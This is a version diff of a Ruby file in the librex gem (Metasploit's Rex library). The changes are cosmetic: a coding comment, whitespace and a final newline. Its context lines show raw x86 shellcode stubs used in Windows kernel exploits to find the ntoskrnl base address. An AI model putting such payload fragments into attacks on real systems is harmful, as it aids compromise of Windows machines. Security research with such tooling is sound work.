lib/rex/payloads/win32/kernel/common.rb in librex-0.0.65 vs lib/rex/payloads/win32/kernel/common.rb in librex-0.0.66
- old
+ new
@@ -1,5 +1,6 @@
+# -*- coding: binary -*-
module Rex
module Payloads
module Win32
module Kernel
@@ -21,19 +22,19 @@
def self.find_nt_idt_eeye
"\x8b\x35\x38\xf0\xdf\xff\xad\xad\x48\x81\x38\x4d\x5a\x90\x00\x75\xf7"
end
#
- # Returns a stub that will find the base address of ntoskrnl and
+ # Returns a stub that will find the base address of ntoskrnl and
# place it in eax. This method uses a pointer found in KdVersionBlock.
#
def self.find_nt_kdversionblock
"\x31\xc0\x64\x8b\x40\x34\x8b\x40\x10"
end
#
- # Returns a stub that will find the base address of ntoskrnl and
+ # Returns a stub that will find the base address of ntoskrnl and
# place it in eax. This method uses a pointer found in the
# processor control region as a starting point.
#
def self.find_nt_pcr
"\xa1\x2c\xf1\xdf\xff\x66\x25\x01\xf0\x48\x66\x81\x38\x4d\x5a\x75\xf4"
@@ -49,6 +50,6 @@
end
end
end
end
-end
\ No newline at end of file
+end